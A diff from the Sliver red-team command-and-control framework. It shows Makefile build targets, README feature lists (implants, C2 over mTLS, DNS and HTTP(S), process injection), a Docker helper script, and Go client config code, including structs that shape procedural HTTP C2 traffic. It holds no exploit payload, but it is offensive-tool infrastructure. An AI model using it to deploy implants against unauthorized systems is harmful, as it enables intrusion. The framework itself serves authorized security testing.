client: clean .downloaded_assets validate-go-version
$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: macos-amd64
macos-amd64: clean .downloaded_assets validate-go-version
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos
macos: clean
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: macos-arm64
macos-arm64: clean .downloaded_assets validate-go-version
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
macos-arm64: clean
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
.PHONY: linux-amd64
linux-amd64: clean .downloaded_assets validate-go-version
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux
linux: clean
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: linux-arm64
linux-arm64: clean .downloaded_assets validate-go-version
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: windows-amd64
windows-amd64: clean .downloaded_assets validate-go-version
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
.PHONY: clients
clients: clean .downloaded_assets validate-go-version
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-amd64$(ARTIFACT_SUFFIX) ./client
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-arm64$(ARTIFACT_SUFFIX) ./client
GOOS=linux GOARCH=386 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-386$(ARTIFACT_SUFFIX) ./client
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-amd64$(ARTIFACT_SUFFIX) ./client
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-arm64$(ARTIFACT_SUFFIX) ./client
GOOS=windows GOARCH=386 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-386$(ARTIFACT_SUFFIX).exe ./client
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-amd64$(ARTIFACT_SUFFIX).exe ./client
GOOS=windows GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-arm64$(ARTIFACT_SUFFIX).exe ./client
GOOS=freebsd GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-amd64$(ARTIFACT_SUFFIX) ./client
GOOS=freebsd GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-arm64$(ARTIFACT_SUFFIX) ./client
.PHONY: servers
servers:
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-amd64$(ARTIFACT_SUFFIX).exe ./server
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-amd64$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-arm64$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-arm64$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-amd64$(ARTIFACT_SUFFIX) ./server
.PHONY: windows
windows: clean
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
.PHONY: pb
pb:
@@ -169,22 +126,6 @@ pb:
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
.PHONY: debug
debug: clean
$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client
validate-go-version:
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
exit 0 ;\
elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
exit 1; \
elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
exit 1; \
fi
.PHONY: clean-all
clean-all: clean
rm -rf ./server/assets/fs/darwin/amd64
@@ -192,12 +133,8 @@ clean-all: clean
rm -rf ./server/assets/fs/windows/amd64
rm -rf ./server/assets/fs/linux/amd64
rm -f ./server/assets/fs/*.zip
rm -f ./.downloaded_assets
.PHONY: clean
clean:
rm -f sliver-client sliver-client_* sliver-server sliver-server_* sliver-*.exe
.downloaded_assets:
./go-assets.sh
touch ./.downloaded_assets
rm -f sliver-client_arm64 sliver-server_arm64
rm -f sliver-client sliver-server sliver-*.exe
+24 -30
View File
@@ -1,37 +1,34 @@
# Sliver
Sliver
======
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
[![Release](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
# v1.6.0 / `master`
**NOTE:** You are looking the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x/master` branch](https://github.com/BishopFox/sliver/tree/v1.5.x/master).
![Go](https://github.com/BishopFox/sliver/workflows/Go/badge.svg?branch=master) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
### Features
- Dynamic code generation
- Compile-time obfuscation
- Multiplayer-mode
- Staged and Stageless payloads
- [Procedurally generated C2](https://sliver.sh/docs?name=HTTPS+C2) over HTTP(S)
- [DNS canary](https://sliver.sh/docs?name=DNS+C2) blue team detection
- [Secure C2](https://sliver.sh/docs?name=Transport+Encryption) over mTLS, WireGuard, HTTP(S), and DNS
- Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
- Windows process migration, process injection, user token manipulation, etc.
- Let's Encrypt integration
- In-memory .NET assembly execution
- COFF/BOF in-memory loader
- TCP and named pipe pivots
- Much more!
* Dynamic code generation
* Compile-time obfuscation
* Multiplayer-mode
* Staged and Stageless payloads
* [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
* Local and remote process injection
* Windows process migration
* Windows user token manipulation
* Anti-fingerprinting features
* Let's Encrypt integration
* In-memory .NET assembly execution
* COFF/BOF in-memory loader
* Much more!
### Getting Started
Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://sliver.sh/docs?name=Getting+Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
#### Linux One Liner
@@ -39,16 +36,13 @@ Download the latest [release](https://github.com/BishopFox/sliver/releases) and
### Help!
Please checkout the [wiki](https://sliver.sh/), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
### Compile From Source
See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
### Feedback
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+1 -1
View File
@@ -15,4 +15,4 @@ Anything in the `master` branch, without an open ticket.
### Reporting a Vulnerability
Please report high and/or critical vulnerabilities via GitHub's private [report a vulnerability feature](https://github.com/BishopFox/sliver/security/advisories).
Please report high and/or critical vulnerabilities via email `jdemesy<[a]>bishopfox.com`, if no response within 14 days, file a ticket with a `security` tag. Medium to Low risk vulnerabilities can simply be filed as a normal bug/issue with the `security` tag.
+41 -58
View File
@@ -1,4 +1,4 @@
#!/usr/bin/env python3
#!/usr/bin/env python
"""
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
@@ -21,6 +21,12 @@ import os
import sys
import argparse
try:
input = raw_input # Py2 / Py3 compatability
except NameError:
pass
INFO = "\033[1m\033[36m[*]\033[0m "
WARN = "\033[1m\033[31m[!]\033[0m "
BOLD = "\033[1m"
@@ -28,46 +34,40 @@ NORM = "\033[0m"
def exec_cmd(cmd, ignore_status=False):
"""Executes a command with some sugar"""
""" Executes a command with some sugar """
print("\n" + INFO + " %s\n" % cmd)
status = os.system(cmd)
if status != 0 and not ignore_status:
print("\n" + WARN + "Command did not exit cleanly (%s) " % status)
if input("continue? [Y/n]: ").upper() != "Y":
if input("continue? [Y/n]: ").upper() != 'Y':
sys.exit(status)
return status
def docker_rm_volumes():
exec_cmd("docker volume rm $(docker volume ls -q)", ignore_status=True)
def docker_rm_containers():
exec_cmd("docker rm $(docker ps -a -q)", ignore_status=True)
def docker_rm_images():
exec_cmd("docker rmi -f $(docker images -q)", ignore_status=True)
def docker_prune():
exec_cmd("docker image prune -f", ignore_status=True)
def docker_rm_all():
docker_rm_containers()
docker_rm_images()
docker_rm_volumes()
def build():
status = exec_cmd("docker build --target test .")
status = exec_cmd("docker build -t sliver .")
if status == 0:
print("\n\n" + INFO + "Build successful")
print(INFO+"Build successful, start with %sdocker run -it sliver:latest%s" % (BOLD, NORM))
print(INFO+"Remember you'll need to manually forward network ports")
def main(args):
"""Execute the respective task(s) based on cli args"""
""" Execute the respective task(s) based on cli args """
if args.rm_images:
docker_rm_images()
if args.rm_containers:
@@ -76,59 +76,42 @@ def main(args):
docker_rm_volumes()
if args.rm_all:
docker_rm_all()
if not args.no_prune:
docker_prune()
if not args.no_build:
build()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="automates interactions with docker")
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description='automates interactions with docker')
parser.add_argument(
"--no-build",
"-b",
help="do not run build",
dest="no_build",
action="store_true",
)
parser.add_argument(
"--no-prune",
"-np",
help="do not prune images",
dest="no_prune",
action="store_true",
)
parser.add_argument('--no-build', '-b',
help='do not run build',
dest='no_build',
action='store_true')
parser.add_argument('--no-prune', '-np',
help='do not prune images',
dest='no_prune',
action='store_true')
parser.add_argument(
"--rm-all",
"-rma",
help="rm all containers, images, and volumes",
dest="rm_all",
action="store_true",
)
parser.add_argument(
"--rm-containers",
"-rmc",
help="rm all containers",
dest="rm_containers",
action="store_true",
)
parser.add_argument(
"--rm-images",
"-rmi",
help="rm all images",
dest="rm_images",
action="store_true",
)
parser.add_argument(
"--rm-volumes",
"-rmv",
help="rm dangling volumes only",
dest="rm_volumes",
action="store_true",
)
parser.add_argument('--rm-all', '-rma',
help='rm all containers, images, and volumes',
dest='rm_all',
action='store_true')
parser.add_argument('--rm-containers', '-rmc',
help='rm all containers',
dest='rm_containers',
action='store_true')
parser.add_argument('--rm-images', '-rmi',
help='rm all images',
dest='rm_images',
action='store_true')
parser.add_argument('--rm-volumes', '-rmv',
help='rm dangling volumes only',
dest='rm_volumes',
action='store_true')
try:
main(parser.parse_args())
except KeyboardInterrupt:
+9 -1
View File
@@ -1 +1,9 @@
fs/**
fs/*.zip
fs/extensions/darwin/amd64/
fs/extensions/darwin/arm64/
fs/extensions/linux/amd64/
fs/extensions/windows/amd64/
fs/extensions/darwin/386/
fs/extensions/darwin/386/
fs/extensions/linux/386/
fs/extensions/windows/386/
-64
View File
@@ -1,64 +0,0 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"log"
"os"
"path/filepath"
)
const (
AliasesDirName = "aliases"
)
// GetAliasesDir - Returns the path to the config dir
func GetAliasesDir() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
dir := filepath.Join(rootDir, AliasesDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
// GetInstalledAliasManifests - Returns a list of installed alias manifests
func GetInstalledAliasManifests() []string {
aliasDir := GetAliasesDir()
aliasDirContent, err := os.ReadDir(aliasDir)
if err != nil {
log.Printf("error loading aliases: %s", err)
return []string{}
}
manifests := []string{}
for _, fi := range aliasDirContent {
if fi.IsDir() {
manifestPath := filepath.Join(aliasDir, fi.Name(), "alias.json")
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
log.Printf("no manifest in %s, skipping ...", manifestPath)
continue
}
manifests = append(manifests, manifestPath)
}
}
return manifests
}
-86
View File
@@ -1,86 +0,0 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"log"
"os"
"os/exec"
"path/filepath"
)
const (
armoryConfigFileName = "armories.json"
)
var (
// DefaultArmoryPublicKey - The default public key for the armory
DefaultArmoryPublicKey string
// DefaultArmoryRepoURL - The default repo url for the armory
DefaultArmoryRepoURL string
defaultArmoryConfig = &ArmoryConfig{
PublicKey: DefaultArmoryPublicKey,
RepoURL: DefaultArmoryRepoURL,
}
)
// ArmoryConfig - The armory config file
type ArmoryConfig struct {
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
Authorization string `json:"authorization"`
AuthorizationCmd string `json:"authorization_cmd"`
}
// GetArmoriesConfig - The parsed armory config file
func GetArmoriesConfig() []*ArmoryConfig {
armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
return []*ArmoryConfig{defaultArmoryConfig}
}
data, err := os.ReadFile(armoryConfigPath)
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
var armoryConfigs []*ArmoryConfig
err = json.Unmarshal(data, &armoryConfigs)
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
for _, armoryConfig := range armoryConfigs {
if armoryConfig.AuthorizationCmd != "" {
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
}
}
return append(armoryConfigs, defaultArmoryConfig)
}
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
if armoryConfig.AuthorizationCmd == "" {
return ""
}
out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
if err != nil {
log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
return ""
}
return string(out)
}
+67 -29
View File
@@ -19,27 +19,36 @@ package assets
*/
import (
"embed"
"fmt"
"io/ioutil"
"log"
"os"
"os/user"
"path"
"path/filepath"
"strings"
ver "github.com/bishopfox/sliver/client/version"
)
var (
//go:embed fs/extensions/*
assetsFs embed.FS
)
const (
// SliverClientDirName - Directory storing all of the client configs/logs
SliverClientDirName = ".sliver-client"
versionFileName = "version"
// SliverExtensionsDirName - Directory storing the client side extensions
SliverExtensionsDirName = "extensions"
versionFileName = "version"
)
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
func GetRootAppDir() string {
user, _ := user.Current()
dir := filepath.Join(user.HomeDir, SliverClientDirName)
dir := path.Join(user.HomeDir, SliverClientDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
@@ -49,33 +58,22 @@ func GetRootAppDir() string {
return dir
}
// GetClientLogsDir - Get the Sliver client logs dir ~/.sliver-client/logs/
func GetClientLogsDir() string {
logsDir := filepath.Join(GetRootAppDir(), "logs")
if _, err := os.Stat(logsDir); os.IsNotExist(err) {
err = os.MkdirAll(logsDir, 0700)
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
func GetExtensionsDir() string {
user, _ := user.Current()
dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return logsDir
}
// GetConsoleLogsDir - Get the Sliver client console logs dir ~/.sliver-client/logs/console/
func GetConsoleLogsDir() string {
consoleLogsDir := filepath.Join(GetClientLogsDir(), "console")
if _, err := os.Stat(consoleLogsDir); os.IsNotExist(err) {
err = os.MkdirAll(consoleLogsDir, 0700)
if err != nil {
log.Fatal(err)
}
}
return consoleLogsDir
return dir
}
func assetVersion() string {
appDir := GetRootAppDir()
data, err := os.ReadFile(filepath.Join(appDir, versionFileName))
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
if err != nil {
return ""
}
@@ -83,7 +81,7 @@ func assetVersion() string {
}
func saveAssetVersion(appDir string) {
versionFilePath := filepath.Join(appDir, versionFileName)
versionFilePath := path.Join(appDir, versionFileName)
fVer, _ := os.Create(versionFilePath)
defer fVer.Close()
fVer.Write([]byte(ver.GitCommit))
@@ -95,12 +93,12 @@ func Setup(force bool, echo bool) {
localVer := assetVersion()
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf(`
Sliver Copyright (C) 2022 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
fmt.Printf("\n\nUnpacking assets ...\n")
fmt.Printf("Unpacking assets ...\n")
}
err := setupCoffLoaderExt(appDir)
if err != nil {
fmt.Println(err)
log.Fatal(err)
}
saveAssetVersion(appDir)
}
@@ -108,3 +106,43 @@ under certain conditions; type 'licenses' for details.`)
SaveSettings(nil)
}
}
func setupCoffLoaderExt(appDir string) error {
extDir := GetExtensionsDir()
win32ExtDir := path.Join("windows", "386")
win64ExtDir := path.Join("windows", "amd64")
coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
loader64, err := assetsFs.ReadFile(coffLoader64)
if err != nil {
return err
}
loader32, err := assetsFs.ReadFile(coffLoader32)
if err != nil {
return err
}
manifest, err := assetsFs.ReadFile(manifestPath)
if err != nil {
return err
}
localWin32ExtDir := path.Join(extDir, win32ExtDir)
err = os.MkdirAll(localWin32ExtDir, 0700)
if err != nil {
return err
}
localWin64ExtDir := path.Join(extDir, win64ExtDir)
err = os.MkdirAll(localWin64ExtDir, 0700)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
if err != nil {
return err
}
return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
}
-86
View File
@@ -1,86 +0,0 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// HTTPC2Config - Parent config file struct for implant/server
type HTTPC2Config struct {
ImplantConfig HTTPC2ImplantConfig `json:"implant_config"`
ServerConfig HTTPC2ServerConfig `json:"server_config"`
}
// HTTPC2ServerConfig - Server configuration options
type HTTPC2ServerConfig struct {
RandomVersionHeaders bool `json:"random_version_headers"`
Headers []NameValueProbability `json:"headers"`
Cookies []string `json:"cookies"`
}
type NameValueProbability struct {
Name string `json:"name"`
Value string `json:"value"`
Probability int `json:"probability"`
Methods []string
}
// HTTPC2ImplantConfig - Implant configuration options
// Procedural C2
// ===============
// .txt = rsakey
// .css = start
// .php = session
//
// .js = poll
//
// .png = stop
// .woff = sliver shellcode
type HTTPC2ImplantConfig struct {
UserAgent string `json:"user_agent"`
ChromeBaseVersion int `json:"chrome_base_version"`
MacOSVersion string `json:"macos_version"`
NonceQueryArgChars string `json:"nonce_query_args"`
URLParameters []NameValueProbability `json:"url_parameters"`
Headers []NameValueProbability `json:"headers"`
MaxFiles int `json:"max_files"`
MinFiles int `json:"min_files"`
MaxPaths int `json:"max_paths"`
MinPaths int `json:"min_paths"`
// Stager files and paths
StagerFileExt string `json:"stager_file_ext"`
StagerFiles []string `json:"stager_files"`
StagerPaths []string `json:"stager_paths"`
// Poll files and paths
PollFileExt string `json:"poll_file_ext"`
PollFiles []string `json:"poll_files"`
PollPaths []string `json:"poll_paths"`
// Session files and paths
StartSessionFileExt string `json:"start_session_file_ext"`
SessionFileExt string `json:"session_file_ext"`
SessionFiles []string `json:"session_files"`
SessionPaths []string `json:"session_paths"`
// Close session files and paths
CloseFileExt string `json:"close_file_ext"`
CloseFiles []string `json:"close_files"`
ClosePaths []string `json:"close_paths"`
}
+12 -11
View File
@@ -23,9 +23,10 @@ import (
"encoding/json"
"errors"
"fmt"
"io"
"io/ioutil"
"log"
"os"
"path"
"path/filepath"
)
@@ -48,9 +49,9 @@ type ClientConfig struct {
// GetConfigDir - Returns the path to the config dir
func GetConfigDir() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
dir := filepath.Join(rootDir, ConfigDirName)
dir := path.Join(rootDir, ConfigDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0o700)
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
@@ -61,7 +62,7 @@ func GetConfigDir() string {
// GetConfigs - Returns a list of available configs
func GetConfigs() map[string]*ClientConfig {
configDir := GetConfigDir()
configFiles, err := os.ReadDir(configDir)
configFiles, err := ioutil.ReadDir(configDir)
if err != nil {
log.Printf("No configs found %v", err)
return map[string]*ClientConfig{}
@@ -69,8 +70,8 @@ func GetConfigs() map[string]*ClientConfig {
confs := map[string]*ClientConfig{}
for _, confFile := range configFiles {
confFilePath := filepath.Join(configDir, confFile.Name())
// log.Printf("Parsing config %s", confFilePath)
confFilePath := path.Join(configDir, confFile.Name())
log.Printf("Parsing config %s", confFilePath)
conf, err := ReadConfig(confFilePath)
if err != nil {
@@ -85,12 +86,12 @@ func GetConfigs() map[string]*ClientConfig {
// ReadConfig - Load config into struct
func ReadConfig(confFilePath string) (*ClientConfig, error) {
confFile, err := os.Open(confFilePath)
defer confFile.Close()
if err != nil {
log.Printf("Open failed %v", err)
return nil, err
}
defer confFile.Close()
data, err := io.ReadAll(confFile)
data, err := ioutil.ReadAll(confFile)
if err != nil {
log.Printf("Read failed %v", err)
return nil, err
@@ -107,13 +108,13 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
// SaveConfig - Save a config to disk
func SaveConfig(config *ClientConfig) error {
if config.LHost == "" || config.Operator == "" {
return errors.New("empty config")
return errors.New("Empty config")
}
configDir := GetConfigDir()
filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
saveTo, _ := filepath.Abs(path.Join(configDir, filename))
configJSON, _ := json.Marshal(config)
err := os.WriteFile(saveTo, configJSON, 0o600)
err := ioutil.WriteFile(saveTo, configJSON, 0600)
if err != nil {
